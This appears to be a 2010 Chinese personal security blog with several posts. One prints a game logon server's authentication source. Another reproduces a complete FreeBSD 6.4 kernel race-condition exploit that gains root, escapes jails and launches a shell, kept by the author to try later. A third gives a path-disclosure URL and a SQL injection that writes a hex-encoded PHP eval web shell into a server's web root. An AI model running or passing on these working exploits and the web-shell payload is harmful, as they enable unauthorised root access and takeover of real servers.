Submitted by muhk on 2010, April 22, 9:24 AM
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:406
Submitted by muhk on 2010, April 21, 2:56 PM
C++代码
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- #include "LogonStdAfx.h"
- #include <openssl/md5.h>
-
- enum _errors
- {
- CE_SUCCESS = 0x00,
- CE_IPBAN= 0x01,
- CE_ACCOUNT_CLOSED = 0x03,
- CE_NO_ACCOUNT= 0x04,
- CE_ACCOUNT_IN_USE = 0x06,
- CE_PREORDER_TIME_LIMIT= 0x07,
- CE_SERVER_FULL= 0x08,
- CE_WRONG_BUILD_NUMBER= 0x09,
- CE_UPDATE_CLIENT= 0x0a,
- CE_ACCOUNT_FREEZED= 0x0c
- } ;
-
- AuthSocket::AuthSocket(SOCKET fd) : Socket(fd, 32768, 4096)
- {
- N.SetHexStr("894B645E89E1535BBDAD5B8B290650530801B18EBFBF5E8FAB3C82872A3E9BB7");
- g.SetDword(7);
- s.SetRand(256);
- m_authenticated = false;
- m_account = 0;
- last_recv = time(NULL);
- removedFromSet = false;
- m_patch= NULL;
- m_patchJob= NULL;
- _authSocketLock.Acquire();
- _authSockets.insert(this);
- _authSocketLock.Release();
- }
-
- AuthSocket::~AuthSocket()
- {
- ASSERT(!m_patchJob);
- }
-
- void AuthSocket::OnDisconnect()
- {
- if(!removedFromSet)
- {
- _authSocketLock.Acquire();
- _authSockets.erase(this);
- _authSocketLock.Release();
- }
-
- if(m_patchJob)
- {
- PatchMgr::getSingleton().AbortPatchJob(m_patchJob);
- m_patchJob= NULL;
- }
- }
-
- void AuthSocket::HandleChallenge()
- {
-
- if(GetReadBuffer().GetContiguiousBytes() < 4)
- return;
-
-
- uint8 * ReceiveBuffer = (uint8*)GetReadBuffer().GetBufferStart();
-
- uint16 full_size = *(uint16*)&ReceiveBuffer[2];
-
-
- sLog.outDetail("[AuthChallenge] got header, body is 0x%02X bytes", full_size);
-
- if(GetReadBuffer().GetSize() < uint32(full_size+4))
- return;
-
-
- if(full_size > sizeof(sAuthLogonChallenge_C))
- {
- Disconnect();
- return;
- }
-
- sLog.outDebug("[AuthChallenge] got full packet.");
-
-
-
- GetReadBuffer().Read(&m_challenge, full_size + 4);
-
-
-
- uint16 build = m_challenge.build;
-
-
- if(build > LogonServer::getSingleton().max_build)
- {
-
- SendChallengeError(CE_WRONG_BUILD_NUMBER);
- return;
- }
-
- if(build < LogonServer::getSingleton().min_build)
- {
-
- char flippedloc[5] = {0,0,0,0,0};
- flippedloc[0] = m_challenge.country[3];
- flippedloc[1] = m_challenge.country[2];
- flippedloc[2] = m_challenge.country[1];
- flippedloc[3] = m_challenge.country[0];
-
- m_patch = PatchMgr::getSingleton().FindPatchForClient(build, flippedloc);
- if(m_patch == NULL)
- {
-
- SendChallengeError(CE_WRONG_BUILD_NUMBER);
- return;
- }
-
- Log.Debug("Patch", "Selected patch %u%s for client.", m_patch->Version,m_patch->Locality);
-
-
- uint8 response[119] = {
- 0x00, 0x00, 0x00, 0x72, 0x50, 0xa7, 0xc9, 0x27, 0x4a, 0xfa, 0xb8, 0x77, 0x80, 0x70, 0x22,
- 0xda, 0xb8, 0x3b, 0x06, 0x50, 0x53, 0x4a, 0x16, 0xe2, 0x65, 0xba, 0xe4, 0x43, 0x6f, 0xe3,
- 0x29, 0x36, 0x18, 0xe3, 0x45, 0x01, 0x07, 0x20, 0x89, 0x4b, 0x64, 0x5e, 0x89, 0xe1, 0x53,
- 0x5b, 0xbd, 0xad, 0x5b, 0x8b, 0x29, 0x06, 0x50, 0x53, 0x08, 0x01, 0xb1, 0x8e, 0xbf, 0xbf,
- 0x5e, 0x8f, 0xab, 0x3c, 0x82, 0x87, 0x2a, 0x3e, 0x9b, 0xb7, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x32, 0xa3,
- 0x49, 0x76, 0x5c, 0x5b, 0x35, 0x9a, 0x93, 0x3c, 0x6f, 0x3c, 0x63, 0x6d, 0xc0, 0x00
- };
- Send(response, 119);
- return;
- }
-
-
- BAN_STATUS ipb = IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress());
-
- switch(ipb)
- {
- case BAN_STATUS_PERMANENT_BAN:
- SendChallengeError(CE_ACCOUNT_CLOSED);
- return;
-
- case BAN_STATUS_TIME_LEFT_ON_BAN:
- SendChallengeError(CE_ACCOUNT_FREEZED);
- return;
-
- default:
- break;
- }
-
-
- if(m_challenge.I_len >= 0x50) { Disconnect(); return; }
- m_challenge.I[m_challenge.I_len] = 0;
-
-
- string AccountName = (char*)&m_challenge.I;
- string::size_type i = AccountName.rfind("#");
- if( i != string::npos )
- {
- printf("# ACCOUNTNAME!\n");
- return;
-
- }
-
-
- sLog.outDebug("[AuthChallenge] Account Name: \"%s\"", AccountName.c_str());
-
- m_account = AccountMgr::getSingleton().GetAccount(AccountName);
- if(m_account == 0)
- {
- sLog.outDebug("[AuthChallenge] Invalid account.");
-
-
- SendChallengeError(CE_NO_ACCOUNT);
- return;
- }
-
- sLog.outDebug("[AuthChallenge] Account banned state = %u", m_account->Banned);
-
-
- if(m_account->Banned == 1)
- {
- SendChallengeError(CE_ACCOUNT_CLOSED);
- return;
- }
- else if(m_account->Banned > 0)
- {
- SendChallengeError(CE_ACCOUNT_FREEZED);
- return;
- }
-
-
- if(!m_account->forcedLocale)
- {
- char temp[4];
- temp[0] = m_challenge.country[3];
- temp[1] = m_challenge.country[2];
- temp[2] = m_challenge.country[1];
- temp[3] = m_challenge.country[0];
-
- *(uint32*)&m_account->Locale[0] = *(uint32*)temp;
- }
-
- Sha1Hash sha;
-
- sha.UpdateData( s.AsByteArray(), 32 );
- sha.UpdateData( m_account->SrpHash, 20 );
- sha.Finalize();
-
- BigNumber x;
- x.SetBinary( sha.GetDigest(), sha.GetLength() );
- v = g.ModExp(x, N);
- b.SetRand(152);
-
- BigNumber gmod = g.ModExp(b, N);
- B = ((v * 3) + gmod) % N;
- ASSERT(gmod.GetNumBytes() <= 32);
-
- BigNumber unk;
- unk.SetRand(128);
-
- uint8 response[200];
- uint32 c = 0;
- response[c] = 0; c += 1;
- response[c] = 0; c += 1;
- response[c] = CE_SUCCESS; c += 1;
- memcpy(&response[c], B.AsByteArray(), 32); c += 32;
- response[c] = 1; c += 1;
- response[c] = g.AsByteArray()[0]; c += 1;
- response[c] = 32; c += 1;
- memcpy(&response[c], N.AsByteArray(), 32); c += 32;
- memcpy(&response[c], s.AsByteArray(), s.GetNumBytes()); c += s.GetNumBytes();
- memcpy(&response[c], unk.AsByteArray(), 16); c += 16;
- response[c] = 0; c += 1;
-
- Send(response, c);
- }
-
- void AuthSocket::HandleProof()
- {
- if(GetReadBuffer().GetSize() < sizeof(sAuthLogonProof_C))
- return ;
-
-
- if(m_patch&&!m_account)
- {
-
- GetReadBuffer().Remove(75);
- sLog.outDebug("[AuthLogonProof] Intitiating PatchJob");
- uint8 bytes[2] = {0x01,0x0a};
- Send(bytes,2);
- PatchMgr::getSingleton().InitiatePatch(m_patch, this);
- return;
- }
-
- if(!m_account)
- return;
-
- sLog.outDebug("[AuthLogonProof] Interleaving and checking proof...");
-
- sAuthLogonProof_C lp;
-
- GetReadBuffer().Read(&lp, sizeof(sAuthLogonProof_C));
-
- BigNumber A;
- A.SetBinary(lp.A, 32);
-
- Sha1Hash sha;
- sha.UpdateBigNumbers(&A, &B, 0);
- sha.Finalize();
-
- BigNumber u;
- u.SetBinary(sha.GetDigest(), 20);
-
- BigNumber S = (A * (v.ModExp(u, N))).ModExp(b, N);
- uint8 t[32];
- uint8 t1[16];
- uint8 vK[40];
- memcpy(t, S.AsByteArray(), 32);
- for (int i = 0; i < 16; i++)
- {
- t1[i] = t[i*2];
- }
- sha.Initialize();
- sha.UpdateData(t1, 16);
- sha.Finalize();
- for (int i = 0; i < 20; i++)
- {
- vK[i*2] = sha.GetDigest()[i];
- }
- for (int i = 0; i < 16; i++)
- {
- t1[i] = t[i*2+1];
- }
- sha.Initialize();
- sha.UpdateData(t1, 16);
- sha.Finalize();
- for (int i = 0; i < 20; i++)
- {
- vK[i*2+1] = sha.GetDigest()[i];
- }
- m_sessionkey.SetBinary(vK, 40);
-
- uint8 hash[20];
-
- sha.Initialize();
- sha.UpdateBigNumbers(&N, NULL);
- sha.Finalize();
- memcpy(hash, sha.GetDigest(), 20);
- sha.Initialize();
- sha.UpdateBigNumbers(&g, NULL);
- sha.Finalize();
- for (int i = 0; i < 20; i++)
- {
- hash[i] ^= sha.GetDigest()[i];
- }
- BigNumber t3;
- t3.SetBinary(hash, 20);
-
- sha.Initialize();
- sha.UpdateData((const uint8*)m_account->UsernamePtr->c_str(), (int)m_account->UsernamePtr->size());
- sha.Finalize();
-
- BigNumber t4;
- t4.SetBinary(sha.GetDigest(), 20);
-
- sha.Initialize();
- sha.UpdateBigNumbers(&t3, &t4, &s, &A, &B, &m_sessionkey, NULL);
- sha.Finalize();
-
- BigNumber M;
- M.SetBinary(sha.GetDigest(), 20);
-
-
- if(memcmp(lp.M1, M.AsByteArray(), 20) != 0)
- {
-
-
- SendChallengeError(CE_NO_ACCOUNT);
- sLog.outDebug("[AuthLogonProof] M1 values don't match.");
- return;
- }
-
-
- m_account->SetSessionKey(m_sessionkey.AsByteArray());
-
-
- sha.Initialize();
- sha.UpdateBigNumbers(&A, &M, &m_sessionkey, 0);
- sha.Finalize();
-
- SendProofError(0, sha.GetDigest());
- sLog.outDebug("[AuthLogonProof] Authentication Success.");
-
-
- m_authenticated = true;
-
-
- sLogonSQL->Execute("UPDATE accounts SET lastlogin=NOW(), lastip='%s' WHERE acct=%u;", GetRemoteIP().c_str(), m_account->AccountId);
- }
-
- void AuthSocket::SendChallengeError(uint8 Error)
- {
- uint8 buffer[3];
- buffer[0] = buffer[1] = 0;
- buffer[2] = Error;
-
- Send(buffer, 3);
- }
-
- void AuthSocket::SendProofError(uint8 Error, uint8 * M2)
- {
- uint8 buffer[32];
- memset(buffer, 0, 32);
-
- buffer[0] = 1;
- buffer[1] = Error;
- if(M2 == 0)
- {
-
- *(uint32*)&buffer[2] = 3;
-
- Send(buffer, 6);
- return;
- }
-
- memcpy(&buffer[2], M2, 20);
- buffer[22]= 0x01;
-
- Send(buffer, 32);
- }
-
- #define AUTH_CHALLENGE 0
- #define AUTH_PROOF 1
- #define AUTH_RECHALLENGE 2
- #define AUTH_REPROOF 3
- #define REALM_LIST 16
- #define INITIATE_TRANSFER 48 // 0x30
- #define TRANSFER_DATA 49 // 0x31
- #define ACCEPT_TRANSFER 50 // 0x32
- #define RESUME_TRANSFER 51 // 0x33
- #define CANCEL_TRANSFER 52 // 0x34
- #define MAX_AUTH_CMD 53
-
- typedef void (AuthSocket::*AuthHandler)();
- static AuthHandler Handlers[MAX_AUTH_CMD] = {
- &AuthSocket::HandleChallenge,
- &AuthSocket::HandleProof,
- &AuthSocket::HandleReconnectChallenge,
- &AuthSocket::HandleReconnectProof,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- &AuthSocket::HandleRealmlist,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- NULL,
- &AuthSocket::HandleTransferAccept,
- &AuthSocket::HandleTransferResume,
- &AuthSocket::HandleTransferCancel,
- };
-
- void AuthSocket::OnRead()
- {
- if(GetReadBuffer().GetContiguiousBytes() < 1)
- return;
-
- uint8 Command = *(uint8*)GetReadBuffer().GetBufferStart();
- last_recv = UNIXTIME;
- if(Command < MAX_AUTH_CMD && Handlers[Command] != NULL)
- (this->*Handlers[Command])();
- else
- Log.Debug("AuthSocket", "Unknown cmd %u", Command);
- }
-
- void AuthSocket::HandleRealmlist()
- {
- sInfoCore.SendRealms(this);
- }
-
- void AuthSocket::HandleReconnectChallenge()
- {
-
- if(GetReadBuffer().GetContiguiousBytes() < 4)
- return;
-
-
- uint8 * ReceiveBuffer = (uint8*)GetReadBuffer().GetBufferStart();
- uint16 full_size = *(uint16*)&ReceiveBuffer[2];
- sLog.outDetail("[AuthChallenge] got header, body is 0x%02X bytes", full_size);
-
- if(GetReadBuffer().GetSize() < (uint32)full_size+4)
- return;
-
-
- if((size_t)(full_size+4) > sizeof(sAuthLogonChallenge_C))
- {
- Disconnect();
- return;
- }
-
- sLog.outDebug("[AuthChallenge] got full packet.");
-
- memcpy(&m_challenge, ReceiveBuffer, full_size + 4);
-
-
- GetReadBuffer().Read(&m_challenge, full_size + 4);
-
-
- if(m_challenge.build > LogonServer::getSingleton().max_build ||
- m_challenge.build < LogonServer::getSingleton().min_build)
- {
- SendChallengeError(CE_WRONG_BUILD_NUMBER);
- return;
- }
-
-
- BAN_STATUS ipb = IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress());
-
- switch(ipb)
- {
- case BAN_STATUS_PERMANENT_BAN:
- SendChallengeError(CE_ACCOUNT_CLOSED);
- return;
-
- case BAN_STATUS_TIME_LEFT_ON_BAN:
- SendChallengeError(CE_ACCOUNT_FREEZED);
- return;
-
- default:
- break;
- }
-
-
- m_challenge.I[m_challenge.I_len] = 0;
-
-
-
-
-
-
-
-
-
-
-
-
-
- string AccountName = (char*)&m_challenge.I;
- sLog.outDebug("[AuthChallenge] Account Name: \"%s\"", AccountName.c_str());
-
- m_account = AccountMgr::getSingleton().GetAccount(AccountName);
- if(m_account == 0)
- {
- sLog.outDebug("[AuthChallenge] Invalid account.");
-
-
- SendChallengeError(CE_NO_ACCOUNT);
- return;
- }
-
- sLog.outDebug("[AuthChallenge] Account banned state = %u", m_account->Banned);
-
-
- if(m_account->Banned == 1)
- {
- SendChallengeError(CE_ACCOUNT_CLOSED);
- return;
- }
- else if(m_account->Banned > 0)
- {
- SendChallengeError(CE_ACCOUNT_FREEZED);
- return;
- }
-
- if(!m_account->SessionKey)
- {
- SendChallengeError(CE_SERVER_FULL);
- return;
- }
-
-
-
-
-
- MD5_CTX ctx;
- MD5_Init(&ctx);
- MD5_Update(&ctx, m_account->SessionKey, 40);
- uint8 buffer[20];
- MD5_Final(buffer, &ctx);
- ByteBuffer buf;
- buf << uint16(2);
- buf.append(buffer, 20);
- buf << uint64(0);
- buf << uint64(0);
- Send(buf.contents(), 34);
- }
-
- void AuthSocket::HandleReconnectProof()
- {
-
-
-
-
-
-
-
- if (!m_account)
- return;
-
-
- sLogonSQL->Execute("UPDATE accounts SET lastlogin=NOW(), lastip='%s' WHERE acct=%u;", GetRemoteIP().c_str(), m_account->AccountId);
-
- GetReadBuffer().Remove( GetReadBuffer().GetSize() );
-
- if(!m_account->SessionKey)
- {
- uint8 buffer[4];
- buffer[0] = 3;
- buffer[1] = 0;
- buffer[2] = 1;
- buffer[3] = 0;
- Send(buffer, 4);
- }
- else
- {
- uint32 x = 3;
- Send((const uint8*)&x, 4);
- }
- }
-
- void AuthSocket::HandleTransferAccept()
- {
- sLog.outDebug("Accepted transfer");
- if(!m_patch)
- return;
-
-
- GetReadBuffer().Remove(1);
- PatchMgr::getSingleton().BeginPatchJob(m_patch,this,0);
- }
-
- void AuthSocket::HandleTransferResume()
- {
- sLog.outDebug("Resuming transfer");
- if(!m_patch)
- return;
-
-
- GetReadBuffer().Remove(1);
- uint64 size;
-
- GetReadBuffer().Read(&size, 8);
- if(size>=m_patch->FileSize)
- return;
-
- PatchMgr::getSingleton().BeginPatchJob(m_patch,this,(uint32)size);
- }
-
- void AuthSocket::HandleTransferCancel()
- {
-
- GetReadBuffer().Remove(1);
- Disconnect();
- }
漏洞分析 | 评论:1
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Submitted by muhk on 2010, April 21, 2:04 PM
Tags: php style
PHP Powered | 评论:3
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Submitted by muhk on 2010, April 19, 6:02 PM
Tags: 玉树震灾区
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Submitted by muhk on 2010, April 18, 1:41 PM
湖北警方称端掉国内最大黑客培训网站——黑鹰安全网
» 阅读全文
Tags: 黑鹰安全网
心情日记 | 评论:0
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Submitted by muhk on 2010, April 18, 10:59 AM
XML/HTML代码
- 做为记录,,以后遇到Fb OS的时候可以试试....
-
- #if 0
- FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and
- knlist_cleardel() resulting in NULL pointer dereference. The following code
- exploits vulnerability to run code in kernel mode, giving root shell and
- escaping from jail.
- #endif
-
- /* 29.08.2009, babcia padlina
- * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition
- *
- * works only on multiprocessor systems
- * gcc -o padlina2 padlina2.c -lpthread
- */
-
- #define _KERNEL
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/event.h>
- #include <sys/timespec.h>
- #include <pthread.h>
- #include <fcntl.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/mman.h>
- #include <sys/param.h>
- #include <sys/linker.h>
- #include <sys/proc.h>
-
- int fd[2], kq;
- struct kevent kev, ke[2];
- struct timespec timeout;
- volatile int gotroot = 0;
-
- static void kernel_code(void) {
- struct thread *thread;
- gotroot = 1;
- asm(
- "movl %%fs:0, %0"
- : "=r"(thread)
- );
- thread->td_proc->p_ucred->cr_uid = 0;
- thread->td_proc->p_ucred->cr_prison = NULL;
-
- return;
- }
-
- static void code_end(void) {
- return;
- }
-
- void do_thread(void) {
- while (!gotroot) {
- if (pipe(fd) < 0)
- perror("pipe");
- memset(&kev, 0, sizeof(kev));
- EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);
- EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);
-
- if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0)
- perror("kevent");
-
- close(fd[0]);
- close(fd[1]);
- }
-
- return;
- }
-
- void do_thread2(void) {
- usleep(100);
- while(!gotroot) {
- close(fd[0]);
- close(fd[1]);
- }
-
- return;
- }
-
- int main(void) {
- int i;
- pthread_t pth, pth2;
-
- if (!getuid() || !geteuid()) {
- printf("already root.\n");
- exit(-1);
- }
-
- printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n"
- "may cause kernel memory corruption leading to system crash.\n"
- "it is also possible, that exploit will hang and such process\n"
- "will be unkillable. hit enter if you want to continue.\n");
-
- getchar();
-
- /* safe landing place for 6.4-RELEASE - it protects us from page fault
- due to invalid read */
-
- if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
- perror("mmap");
- exit(-1);
- }
-
- if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
- perror("mmap");
- exit(-1);
- }
-
- memcpy(0, &kernel_code, &code_end - &kernel_code);
-
- if ((kq = kqueue()) < 0) {
- perror("kqueue");
- exit(-1);
- }
-
- pthread_create(&pth, NULL, (void *)do_thread, NULL);
- pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
-
- timeout.tv_sec = 0;
- timeout.tv_nsec = 1;
-
- printf("waiting for root... it should take no more than few seconds.\n"
- "otherwise, run exploit again.\n");
- i = 0;
-
- while (!gotroot && i++ < 4000)
- usleep(100);
-
- setuid(0);
-
- if (getuid()) {
- printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n");
- exit(-1);
- }
-
- execl("/bin/sh", "sh", NULL);
-
- return 0;
- }
-
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Submitted by muhk on 2010, April 17, 3:38 PM
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Submitted by muhk on 2010, April 15, 10:09 AM
/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径
然后直接getshell
userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23
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